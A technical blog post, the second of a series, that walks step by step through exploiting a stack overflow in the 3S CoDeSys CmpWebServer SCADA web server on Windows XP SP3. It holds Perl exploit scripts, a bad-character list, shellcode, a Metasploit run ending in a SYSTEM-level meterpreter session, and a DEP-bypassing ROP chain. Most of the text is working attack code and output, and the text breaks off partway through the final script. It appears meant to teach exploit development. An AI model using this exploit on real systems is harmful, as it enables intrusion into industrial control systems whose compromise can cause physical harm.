Anatomy of a SCADA Exploit: Part 2 – From EIP to Shell

Last post, we identified a stack-based overflow in 3S CoDeSys CmpWebServer and traced the steps necessary to obtain control over EIP.  In order to do so, we needed to first circumvent stack cookies, which was achieved by abusing a call to memcpy() and overwriting the function call’s own return pointer.  This post, we’ll pick up where we left off and learn how to spawn a shell on the remote host.

We’ll be working with the same setup as last time, targeting CoDeSys v3.4 SP4 Patch 2 running on Windows XP SP3.  An important detail to note here is that while Windows XP SP3 implements DEP, it is by default only enabled on system-critical processes:

This means that the stack in our target application is free game and allows fully for a “traditional” overflow.  Now, I don’t know about you, but I happen to find that incredibly lame.  So, we’ll split the exploitation portion of this post into two sections.  In the first section, we’ll take full advantage of the resources provided to us and spawn a shell using the traditional return-into-shellcode method.  Since this series isn’t meant to be a simple walkthrough but instead a learning experience, in the second section we’ll spawn a shell again but instead enable DEP for the running application.  This disallows us from simply overwriting the return pointer with a pointer to the stack, so we’ll have to first disable DEP using Return-Oriented Programming (ROP) and then return into arbitrary code.

When Good Bytes Go Bad

Before we proceed to writing the exploit itself, we must first identify any bad characters that might cause issue later on – This means any bytes that may either get filtered out, translate to different bytes, or break the exploit altogether.  This is not typically a time-consuming task, but if many characters are filtered or manipulated by the program it can be tedious to identify exactly what is and isn’t allowed as input.

A quick and dirty way of approaching this is the “range method,” as suggested by the Metasploit development community.  Instead of linearly enumerating a range of 256 bytes and manually (or semi-automatically) testing each byte individually, we instead provide a broader range of bytes in each attempt and systematically narrow it down to specific offenders, somewhat akin to a binary search.

We can whip up a quick script (using the structure of the PoC from last post) to test:

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$badchars = "";
$badchars .= "GET /";
$badchars .= pack("C*", 0x00 .. 0x0f);
#$badchars .= pack("C*", 0x10 .. 0x1f);
#$badchars .= pack("C*", 0x20 .. 0x2f);
#$badchars .= pack("C*", 0x30 .. 0x3f);
#$badchars .= pack("C*", 0x40 .. 0x4f);
#$badchars .= pack("C*", 0x50 .. 0x5f);
#$badchars .= pack("C*", 0x60 .. 0x6f);
#$badchars .= pack("C*", 0x70 .. 0x7f);
#$badchars .= pack("C*", 0x80 .. 0x8f);
#$badchars .= pack("C*", 0x90 .. 0x9f);
#$badchars .= pack("C*", 0xa0 .. 0xaf);
#$badchars .= pack("C*", 0xb0 .. 0xbf);
#$badchars .= pack("C*", 0xc0 .. 0xcf);
#$badchars .= pack("C*", 0xd0 .. 0xdf);
#$badchars .= pack("C*", 0xe0 .. 0xef);
#$badchars .= pack("C*", 0xf0 .. 0xff);
$badchars .= "\\a HTTP/1.0\r\n\r\n";

print $sock $badchars;

Run the script against CoDeSys, and…

Well that’s interesting.  Looks like none of our input was copied into the buffer, predictably due to the initial null byte.  Since the section of code we’ve looked at thus far has used memcpy() as opposed to strcpy(), it’s reasonable to assume that string functions like strlen() are used at some point beforehand and are causing our buffer to terminate prematurely.  We’ll add 0x00 to the list of bad chars and try again.

$badchars .= "GET /";
# Bad chars: "\x00"
$badchars .= pack("C*", 0x01 .. 0x0f);

Taking a look at the stack after the memcpy():

What the heck?  Something else in the range must be causing issue.  Let’s narrow the range:

$badchars .= pack("C*", 0x01 .. 0x09);
#$badchars .= pack("C*", 0x0a .. 0x0f);

And finally we have success:

If you look closely, though, notice that 0x09 was translated to 0x20, so we’ll add it to the list of bad chars as well.

To expedite the process and save time, we won’t detail the rest of the testing.  Following the same steps as outlined above for the remaining bytes, we produce the final list of bad characters to avoid when writing our exploit:

0x00 (Null) - Breaks request
0x09 (Tab) - Translates to 0x20 (Space)
0x0a (Carriage Return) - Breaks request
0x23 (#) - Breaks request
0x25 (%) - Breaks request
0x3a (:) - Breaks request
0x3d (=) - Breaks request
0x3f (?) - Breaks request
0x5c (\) - Translates to 0x2f (/)

As we can see, most of the offending bytes are URL special characters.  With more thorough testing and analysis we realize that, in actuality, some of the chars can be used if positioned correctly in the buffer, but to save potential frustration we’ll just blacklist them initially and consider their usage only if necessary.

SCADA Wars Episode 1 – The Shellcode Menace

Writing a traditional stack-based overflow is a rather straight-forward process when both DEP and ASLR are disabled/not implemented.  Simply overwrite the return pointer on the stack with a pointer to your buffer, slide down an optional NOP sled, and execute your shellcode.  Recall the script we wrote last post that obtained arbitrary control over EIP (cleaned up a bit to remove the no longer necessary cyclic pattern):

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "A"x463;
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

Running against the target web server, we observe an exception executing at our (invalid) return address:

At this point we’ll inspect the stack to learn the location of our buffer, noting the beginning address of the second string of “A”s where we’ll place our shellcode:

Updating our script to reflect this new information, as well as the inclusion of a benign payload for PoC:

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

# Windows XP SP3 EN Calc Shellcode 16 Bytes by John Leitch
$shellcode =
    "\x31\xC9"              . # xor ecx,ecx
    "\x51"                  . # push ecx
    "\x68\x63\x61\x6C\x63"  . # push 0x636c6163
    "\x54"                  . # push dword ptr esp
    "\xB8\xC7\x93\xC2\x77"  . # mov eax,0x77c293c7
    "\xFF\xD0";               # call eax

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x02cdfc2c); # Control over EIP, pointer to shellcode
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= $shellcode;
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

And the result:

Cool.  We’ve successfully exploited this version of CoDeSys on Windows XP SP3.

There are two issues with our current exploit, though.  For the consideration of functionality, calc.exe is rather boring and doesn’t actually spawn us a shell.  Additionally, for the consideration of elegance and standardization, it’s best not to write standalone exploit scripts such as the one above.  To the rescue is the Metasploit Framework, which provides a very nice exploit development API, as well as a long list of payloads and encoding utilities to circumvent bad characters and potential IDS.  Resultingly, as of revision bc9014e9, the CoDeSys CmpWebServer exploit module in Metasploit now possesses a target for v3.4 SP4 Patch 2 on Windows XP SP3.  Let’s test it out:

msf > use exploit/windows/scada/codesys_web_server
msf  exploit(codesys_web_server) > show options

Module options (exploit/windows/scada/codesys_web_server):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  8080             yes       The target port

msf  exploit(codesys_web_server) > set RHOST 172.16.66.128
RHOST => 172.16.66.128
msf  exploit(codesys_web_server) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   CoDeSys v2.3 on Windows XP SP3
   1   CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3

msf  exploit(codesys_web_server) > set TARGET 1
TARGET => 1
msf  exploit(codesys_web_server) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf  exploit(codesys_web_server) > exploit

[*] Started bind handler
[*] Trying target CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3...
[*] Sending stage (752128 bytes) to 172.16.66.128
[*] Meterpreter session 1 opened (172.16.66.1:60855 -> 172.16.66.128:4444) at 2012-01-14 03:31:41 -0500

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    del           Delete the specified file
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

SCADA Wars Episode 2 – Attack of the Stack

It’s very rare nowadays to approach a bug without the expectation of needing to bypass at least one or two exploit mitigation techniques.  These memory protection mechanisms are most commonly a coupling of DEP and ASLR, but since we are targeting an older version of Windows, ASLR has not been implemented yet, and, as mentioned earlier, even though DEP has been implemented it is in fact disabled for all user applications by default, including CoDeSys.

To make things more interesting, let’s manually enable DEP and rewrite our exploit.

With the stack marked non-executable, we won’t be able to directly return into code we introduce in memory but instead have to rely on Return-Oriented Programming (ROP).  By chaining together the tails of function calls (referred to as ROP gadgets), we can execute arbitrary code piece-by-piece, most commonly to achieve the end goal of disabling DEP and returning into shellcode.

Instead of writing one from scratch, we’ll begin with a DEP-disabling ROP chain from Corelan Team’s ROPdb and adapt it to our exploit.  While the published chains are meant to function without alteration, we need to mind our list of bad chars and find replacement gadgets for any pointers affected.  Comparing the chains in ROPdb with the list of loaded modules, it’s apparent that the only DLL with a readily available chain is advapi32.dll, which disables DEP by performing a call to the NtSetInformationProcess function:

Starting with the same base exploit structure as above, we’ll append the ROP chain and identify any offending pointers (denoted with a string of exclamation points):

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 <target>";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

Not too bad; we only need to find replacements for two gadgets.  We’ll use mona.py to generate a list of gadgets and go from there.

The script displays a great deal of debugging information to the console as well as some automatically generated DEP-disabling ROP chains of its own, but the actual results we’re looking for are in rop.txt under Immunity’s installation directory.  It would be easy enough just to use the chains generated by the command, but as we can see there they make frequent use of our blacklisted characters:

The first replacement gadget we need to find is “pop eax; ret”.  This is a fairly common instruction sequence since the x86 calling convention typically stores the return value in EAX, so we should have no issue finding a suitable replacement.

We’ll first grep for all “pop eax” gadgets whose address doesn’t start with a null byte:

$ grep "POP EAX" rop.txt | grep -v 0x00 | cut -d* -f1 | head
0x1000c0be : # PUSH ECX # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04
0x1000c0bf : # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04
0x1000654e : # POP EAX # POP ESI # RETN
0x10006590 : # POP EAX # POP ESI # RETN
0x10007bfb : # POP EAX # POP ESI # RETN
0x10007771 : # POP EAX # POP ESI # RETN
0x10007747 : # POP EAX # RETN
0x1000fd85 : # POP EAX # POP ESI # RETN
0x10007d59 : # POP EAX # POP ESI # RETN
0x10007697 : # POP EAX # RETN

Great, but so far every gadget still has a null byte in the address.  Let’s restrict our search a little more to filter out all pointers starting with 0x1000:

$ grep "POP EAX" rop.txt | grep -v 0x00 | grep -v 0x1000 | cut -d* -f1
$

Interestingly enough, no suitable replacement gadgets exist in the results.  One thing to note, though, is that mona.py defaults its ROP generation to non-OS modules (as well as non-ASLR and non-rebase), so we’ll have to broaden our scope a bit to find the gadget we need. Because the overall goal is to make exploits as universal as possible (working against a wide array of target systems and versions), it’s best to not use modules provided by the system itself since they have a high likelihood of changing between OS versions.  However, we’ll take a hit here for the sake of getting a working PoC.

We’ll regenerate our list of ROP gadgets, this time restricting ourselves to the system DNSAPI.dll module by passing the -m flag to mona.py:

!mona rop -m DNSAPI.dll

This graces us with the following gadget list to search through:

$ grep "POP EAX" rop_dnsapi.txt | cut -d* -f1
0x76f3e0c8 : # ADD EBP,DWORD PTR DS:[EDX+57] # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c976 : # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c97e : # POP EAX # RETN
0x76f3e0ca : # PUSH EDI # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3e0cb : # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c974 : # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3e0c9 : # PUSH 57 # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c971 : # OR BYTE PTR SS:[EBP+8],DH # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c973 : # OR BYTE PTR DS:[EDX+3],CH # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c97c : # PUSH 0D # POP EAX # RETN

Perfect, the gadget at 0x76f3c97e will work fine.  Update our ROP chain:

# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

One last gadget we need to find a replacement for is “xchg eax, ebx; ret”.  We’ll grep through rop.txt and see if there are any candidates:

$ grep "XCHG EAX,EBX" rop.txt | cut -d* -f1
0x0040fcb3 : # XCHG EAX,EBX # XOR EAX,E58B0000 # POP EBP # RETN
0x0040dab3 : # XCHG EAX,EBX # PUSH EDI # ADD BYTE PTR DS:[EAX],AL # MOV ESP,EBP # POP EBP # RETN

Bad luck.  Looks like we’ll have to rely on a system module again.  However, DNSAPI.dll doesn’t seem to have the gadget either:

$ grep "XCHG EAX,EBX" rop_dnsapi.txt | cut -d* -f1
$

Let’s generate a list of gadgets from the system SHELL32.dll module and see if something there will help us:

$ grep "XCHG EAX,EBX" rop_shell32.txt | cut -d* -f1 | head
0x7ca04919 : # XCHG EAX,EBX # SUB BH,DH # DEC ECX # RETN
0x7ca6f081 : # XCHG EAX,EBX # RETN 00
0x7cb4f687 : # XCHG EAX,EBX # ADD AX,3B00 # RETN
0x7ca7870a : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,<&USER32.EndDialog> # XOR EAX,EAX # POP EBP # RETN 10
0x7ca17509 : # XCHG EAX,EBX # PUSH EAX # ADD EAX,DWORD PTR DS:[EAX] # POP EDI # XOR EAX,EAX # POP ESI # INC EAX # POP EBX # POP EBP # RETN 0C
0x7ca787d8 : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,<&USER32.EndDialog> # MOV EAX,ESI # POP ESI # POP EBP # RETN 10
0x7ca11f36 : # XCHG EAX,EBX # OR AL,BYTE PTR DS:[EAX] # XOR EAX,EAX # RETN 04
0x7caab0cd : # XCHG EAX,EBX # POP ES # ADD BYTE PTR DS:[EBX],BH # RETN
0x7ca3ae19 : # XCHG EAX,EBX # ADD DWORD PTR DS:[EAX],EAX # ADD BYTE PTR DS:[EBX+5D5E5FC7],CL # RETN 04
0x7ca034ed : # XCHG EAX,EBX # SAHF # ADD AL,BYTE PTR DS:[EAX] # POP EDI # POP ESI # POP EBP # RETN 08

The gadget at 0x7ca6f081 will do perfectly.  The 00 in “RETN 00” denotes the number of bytes the stack will by adjusted by upon return, which in this case is 0 and parallels the functionality of a “normal” return.

The question can be asked in this scenario, why is there such an instruction “ret 0” in the module if it’s the exact same as a “ret”?  The answer is that the instruction isn’t actually meant to be there at all.  The x86 architecture sports a number of properties favorable for exploit development, namely the fact that instructions are both variable-length and unaligned.  x86 instructions aren’t always a defined length in memory, unlike ARM or MIPS whose instructions are always 2 or 4 bytes wide, so we can find a single useful opcode and disassemble backwards until we find an acceptable sequence of instructions.  By being unaligned, we can execute instructions at any offset and are not restricted to returning into addresses that, for example, end in 0x0, 0x4, 0x8, or 0xc.

To demonstrate this, we’ll start by disassembling our gadget at 0x7ca6f081, where we see the desired instruction sequence:

However, by simply pressing the “up” button, our disassembly realigns to the program’s proper instruction alignment, and we see that these opcodes are actually part of a CALL:

Moving ahead, let’s update our ROP chain with the final replacement gadget:

# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

Now that our ROP chain is all set, we need to actually be able to execute it.  The easy way to do this is to simply return into the first gadget upon gaining control over EIP.  At the moment, we corrupt EIP with the value 0x0defaced, so it should be simple enough to just restructure our exploit and relocate the ROP chain in place of this dummy value.  In order to prevent changes to stack offsets and addresses, we’ll store a placeholder where the ROP chain used to be to keep our input to the program the same length:

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 ";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes

$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -> 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "A"x424;

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

$exploit .= "A"x104;

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;

Now that we’ve disabled DEP, we need to execute our shellcode.  This particular ROP chain will immediately transfer execution to the top of the stack after its completion, which can be observed by studying the last few gadgets.

At the time of the final gadget’s (“pushad; dec ebx; mov ebx, 0x33c233f6; ret”) execution, the function pointer we wish to call (NtSetInformationProcess) resides in EBP.  By referencing the documentation of the PUSHAD instruction, we can see that EBP is pushed onto the stack sixth out of eight registers, placing it at offset 0x8 from the top of the stack:

ELSE (* OperandSize = 32, PUSHAD instruction *)
   Temp := (ESP);
   Push(EAX);
   Push(ECX);
   Push(EDX);
   Push(EBX);
   Push(Temp);
   Push(EBP);
   Push(ESI);
   Push(EDI);
FI;

The next two instructions in the gadget (“dec ebx; mov ebx, 0x33c233f6”) are inconsequential and can be safely ignored.  As we can see, the PUSHAD instruction also results in pushing the ESI and EDI registers above EBP on the stack, which both contain the pointer 0x77e3cb79.

This pointer is actually another gadget to be executed (twice), but unlike other gadgets which perform any number of potentially complex operations, this one is simply a single RET instruction:

This particular gadget is referred to as a “ROP NOP,” similar to how the NOP (No-OPeration) instruction in x86 simply “does nothing”.  When utilized in a ROP chain, we can simply slide down the stack, returning into gadgets that “do nothing” until we reach an interesting pointer.  In this case, we execute two ROP NOPs until we return into the NtSetInformationProcess pointer to disable DEP.

Upon completion of the function, we return into the next dword on the stack.  Referencing the PUSHAD documentation once again, we see that the register pushed immediately before EBP was the value of ESP before the operation.  This is excellent, because by returning into this value we transfer execution directly to stack memory adjacent to the ROP chain itself, which at the moment is just our placeholder of a bunch of “A”s:

All we have to do from this point is stash some shellcode immediately after the ROP chain and we’ll have our shell.  We can grab a simple WinExec shellcode here.  Update our exploit:

#!/usr/bin/perl

use IO::Socket;

if ( @ARGV < 1 ) {
    print "Usage: $0 ";
}

$sock = new IO::Socket::INET(
    PeerAddr => $ARGV[0],
    PeerPort => 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes

$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -> 0x22 -> EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -> ESI
$exploit .= pack('V', 0xffffffff); # -> EBX
